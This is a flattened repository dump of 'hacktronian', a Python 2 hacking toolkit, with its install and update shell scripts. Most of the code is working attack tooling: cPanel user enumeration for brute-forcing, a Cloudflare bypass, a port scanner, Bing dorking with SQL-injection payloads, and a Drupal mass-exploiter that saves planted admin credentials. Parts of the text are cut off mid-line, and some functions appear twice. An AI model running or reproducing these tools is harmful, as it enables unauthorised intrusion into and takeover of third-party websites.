html: 1219 | if re.findall('type=file', line): 1220 | print " [*] Found upload -> ", site + up 1221 | except IOError: 1222 | pass 1223 | 1224 | def getUsers(self): 1225 | """ 1226 | get server users using a method found by 1227 | iranian hackers , the attacker may 1228 | do a bruteforce attack on CPanel, ssh, ftp or 1229 | even mysql if it supports remote login 1230 | (you can use medusa or hydra) 1231 | """ 1232 | clearScr() 1233 | print "[~] Grabbing Users" 1234 | userslist = [] 1235 | for site1 in self.sites: 1236 | try: 1237 | site = site1 1238 | site = site.replace('http://www.', '') 1239 | site = site.replace('http://', '') 1240 | site = site.replace('.', '') 1241 | if '-' in site: 1242 | site = site.replace('-', '') 1243 | site = site.replace('/', '') 1244 | while len(site) > 2: 1245 | resp = urllib2.urlopen( 1246 | site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read() 1247 | if 'invalid username' not in resp.lower(): 1248 | print '\t [*] Found -> ', site 1249 | userslist.append(site) 1250 | break 1251 | else: 1252 | print site 1253 | 1254 | site = site[:-1] 1255 | except: 1256 | pass 1257 | 1258 | clearScr() 1259 | for user in userslist: 1260 | print user 1261 | 1262 | def cloudflareBypasser(self): 1263 | """ 1264 | trys to bypass cloudflare i already wrote 1265 | in my blog how it works, i learned this 1266 | method from a guy in madleets 1267 | """ 1268 | clearScr() 1269 | print "[~] Bypassing cloudflare" 1270 | subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel'] 1271 | for site in self.sites: 1272 | site.replace('http://', '') 1273 | site.replace('/', '') 1274 | try: 1275 | ip = socket.gethostbyname(site) 1276 | except socket.error: 1277 | pass 1278 | for sub in subdoms: 1279 | doo = sub + '.' + site 1280 | print ' [~] Trying -> ', doo 1281 | try: 1282 | ddd = socket.gethostbyname(doo) 1283 | if ddd != ip: 1284 | print ' [*] Cloudflare bypassed -> ', ddd 1285 | break 1286 | except socket.error: 1287 | pass 1288 | 1289 | def getServerBanner(self): 1290 | """ 1291 | simply gets the server banner 1292 | the attacker may benefit from it 1293 | like getting the server side software 1294 | """ 1295 | clearScr() 1296 | try: 1297 | s = 'http://' + self.serverip 1298 | httpresponse = urllib.urlopen(s) 1299 | print ' [*] Server header -> ', httpresponse.headers.getheader('server') 1300 | except: 1301 | pass 1302 | 1303 | def grabSqli(self): 1304 | """ 1305 | just grabs all websites in server with php?id= dork 1306 | for scanning for error based sql injection 1307 | """ 1308 | page = 1 1309 | lista = [] 1310 | while page <= 101: 1311 | try: 1312 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1313 | self.serverip + "+php?id=&count=50&first=" + str(page) 1314 | openbing = urllib2.urlopen(bing) 1315 | readbing = openbing.read() 1316 | findwebs = re.findall('

<", 1337 | "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"] 1338 | check = re.compile( 1339 | "Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I) 1340 | for url in s: 1341 | try: 1342 | for param in url.split('?')[1].split('&'): 1343 | for payload in payloads: 1344 | power = url.replace(param, param + payload.strip()) 1345 | 1346 | html = urllib2.urlopen(power).readlines() 1347 | for line in html: 1348 | checker = re.findall(check, line) 1349 | if len(checker) != 0: 1350 | print ' [*] SQLi found -> ', power 1351 | except: 1352 | pass 1353 | 1354 | 1355 | def portScanner(self, mode, ran): 1356 | """ 1357 | simple port scanner works with range of ports 1358 | or with common ports (al-swisre idea) 1359 | """ 1360 | clearScr() 1361 | print "[~] Scanning Ports" 1362 | 1363 | def do_it(ip, port): 1364 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1365 | 1366 | sock = sock.connect_ex((ip, port)) 1367 | if sock == 0: 1368 | print " [*] Port %i is open" % port 1369 | 1370 | if mode == 1: 1371 | a = ran.split('-') 1372 | start = int(a[0]) 1373 | end = int(a[1]) 1374 | for i in range(start, end): 1375 | do_it(self.serverip, i) 1376 | elif mode == 2: 1377 | for port in [80, 21, 22, 2082, 25, 53, 110, 443, 143]: 1378 | 1379 | do_it(self.serverip, port) 1380 | 1381 | 1382 | ############################ 1383 | minu = ''' 1384 | \t 1: Drupal Bing Exploiter 1385 | \t 2: Get Drupal Websites 1386 | \t 3: Drupal Mass Exploiter 1387 | \t 99: Back To Main Menu 1388 | ''' 1389 | 1390 | 1391 | def drupal(): 1392 | '''Drupal Exploit Binger All Websites Of server ''' 1393 | ip = raw_input('1- IP : ') 1394 | page = 1 1395 | while page <= 50: 1396 | 1397 | url = "http://www.bing.com/search?q=ip%3A" + ip + "&go=Valider&qs=n&form=QBRE&pq=ip%3A" + \ 1398 | ip + "&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first=" + \ 1399 | str(page) 1400 | req = urllib2.Request(url) 1401 | opreq = urllib2.urlopen(req).read() 1402 | findurl = re.findall( 1403 | '

" + site 1418 | 1419 | print "user:HolaKo\npass:admin" 1420 | a = open('up.txt', 'a') 1421 | a.write(site + '\n') 1422 | a.write("user:" + user + "\npass:" + pwd + "\n") 1423 | else: 1424 | print "[-] Expl Not Found :( " 1425 | 1426 | except Exception as ex: 1427 | print ex 1428 | sys.exit(0) 1429 | 1430 | # Drupal Server ExtraCtor 1431 | 1432 | 1433 | def getdrupal(): 1434 | ip = raw_input('Enter The Ip : ') 1435 | page = 1 1436 | sites = list() 1437 | while page <= 50: 1438 | 1439 | url = "http://www.bing.com/search?q=ip%3A" + ip + \ 1440 | "+node&go=Valider&qs=ds&form=QBRE&first=" + str(page) 1441 | req = urllib2.Request(url) 1442 | opreq = urllib2.urlopen(req).read() 1443 | findurl = re.findall( 1444 | '

" + url 1469 | print "[-]username:HolaKo\n[-]password:admin" 1470 | save = open('drupal.txt', 'a') 1471 | save.write( 1472 | url + "\n" + "[-]username:HolaKo\n[-]password:admin\n") 1473 | 1474 | else: 1475 | print i + "=> exploit not found " 1476 | except Exception as ex: 1477 | print ex 1478 | 1479 | 1480 | def maine(): 1481 | 1482 | print minu 1483 | choose = raw_input("choose a number : ") 1484 | while True: 1485 | 1486 | if choose == "1": 1487 | drupal() 1488 | if choose == "2": 1489 | getdrupal() 1490 | if choose == "3": 1491 | drupallist() 1492 | if choose == "4": 1493 | about() 1494 | if choose == "99": 1495 | menu() 1496 | con = raw_input('Continue [Y/n] -> ') 1497 | if con[0].upper() == 'N': 1498 | exit() 1499 | if con[0].upper() == 'Y': 1500 | maine() 1501 | 1502 | 1503 | def unique(seq): 1504 | seen = set() 1505 | return [seen.add(x) or x for x in seq if x not in seen] 1506 | 1507 | 1508 | def bing_all_grabber(s): 1509 | lista = [] 1510 | page = 1 1511 | while page <= 101: 1512 | try: 1513 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1514 | s + "+&count=50&first=" + str(page) 1515 | openbing = urllib2.urlopen(bing) 1516 | readbing = openbing.read() 1517 | findwebs = re.findall('

" + sqli) 1639 | 1640 | 1641 | def sqlscan(): 1642 | ip = raw_input('Enter IP -> ') 1643 | grabsqli(ip) 1644 | 1645 | 1646 | def unique(seq): 1647 | seen = set() 1648 | return [seen.add(x) or x for x in seq if x not in seen] 1649 | 1650 | 1651 | def bing_all_grabber(s): 1652 | lista = [] 1653 | page = 1 1654 | while page <= 101: 1655 | try: 1656 | bing = "http://www.bing.com/search?q=ip%3A" + \ 1657 | s + "+&count=50&first=" + str(page) 1658 | openbing = urllib2.urlopen(bing) 1659 | readbing = openbing.read() 1660 | findwebs = re.findall('

] Press ENTER to Install Hacktronian, CTRL+C to Abort.${NC}" 29 | read INPUT 30 | echo "" 31 | 32 | if [ "$PREFIX" = "/data/data/com.termux/files/usr" ]; then 33 | INSTALL_DIR="$PREFIX/usr/share/doc/hacktronian" 34 | BIN_DIR="$PREFIX/usr/bin/" 35 | pkg install -y git python2 36 | else 37 | INSTALL_DIR="/usr/share/doc/hacktronian" 38 | BIN_DIR="/usr/bin/" 39 | fi 40 | 41 | echo "[✔] Checking directories..."; 42 | if [ -d "$INSTALL_DIR" ]; then 43 | echo "[!] A Directory hacktronian Was Found.. Do You Want To Replace It ? [y/n]:" ; 44 | read mama 45 | if [ "$mama" = "y" ]; then 46 | rm -R "$INSTALL_DIR" 47 | else 48 | exit 49 | fi 50 | fi 51 | 52 | echo "[✔] Installing ..."; 53 | echo ""; 54 | git clone https://github.com/thehackingsage/hacktronian.git "$INSTALL_DIR"; 55 | echo "#!/bin/bash 56 | python $INSTALL_DIR/hacktronian.py" '${1+"$@"}' > hacktronian; 57 | chmod +x hacktronian; 58 | sudo cp hacktronian /usr/bin/; 59 | rm hacktronian; 60 | 61 | 62 | if [ -d "$INSTALL_DIR" ] ; 63 | then 64 | echo ""; 65 | echo "[✔] Successfuly Installed !!! [✔]"; 66 | echo ""; 67 | echo "[✔]========================================================================[✔]"; 68 | echo "[✔] ✔✔✔ All Is Done!! you can execute tool by typing hacktronian !! ✔✔✔ [✔]"; 69 | echo "[✔]========================================================================[✔]"; 70 | echo ""; 71 | else 72 | echo "[✘] Installation Failed !!! [✘]"; 73 | exit 74 | fi 75 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thehackingsage/hacktronian/dd27d7303aec7c3d430ef2edc197ea761979f769/logo.png -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | # 2 | # _ _ ___ _____ _ _____________ _____ _ _ _____ ___ _ _ 3 | # | | | | / _ \/ __ \| | / /_ _| ___ \ _ | \ | |_ _|/ _ \ | \ | | 4 | # | |_| |/ /_\ \ / \/| |/ / | | | |_/ / | | | \| | | | / /_\ \| \| | 5 | # | _ || _ | | | \ | | | /| | | | . ` | | | | _ || . ` | 6 | # | | | || | | | \__/\| |\ \ | | | |\ \\ \_/ / |\ |_| |_| | | || |\ | 7 | # \_| |_/\_| |_/\____/\_| \_/ \_/ \_| \_|\___/\_| \_/\___/\_| |_/\_| \_/ 8 | # 9 | # ~ Tools For Hacking by Mr. SAGE ~ 10 | 11 | clear 12 | 13 | sudo chmod +x /etc/ 14 | 15 | clear 16 | 17 | sudo chmod +x /usr/share/doc 18 | 19 | clear 20 | 21 | sudo rm -rf /usr/share/doc/hacktronian/ 22 | 23 | clear 24 | 25 | cd /etc/ 26 | 27 | clear 28 | 29 | sudo rm -rf /etc/thehackingsage 30 | 31 | clear 32 | 33 | mkdir thehackingsage 34 | 35 | clear 36 | 37 | cd thehackingsage 38 | 39 | clear 40 | 41 | git clone https://github.com/thehackingsage/hacktronian.git 42 | 43 | clear 44 | 45 | cd hacktronian 46 | 47 | clear 48 | 49 | sudo chmod +x install.sh 50 | 51 | clear 52 | 53 | ./install.sh 54 | 55 | clear 56 | --------------------------------------------------------------------------------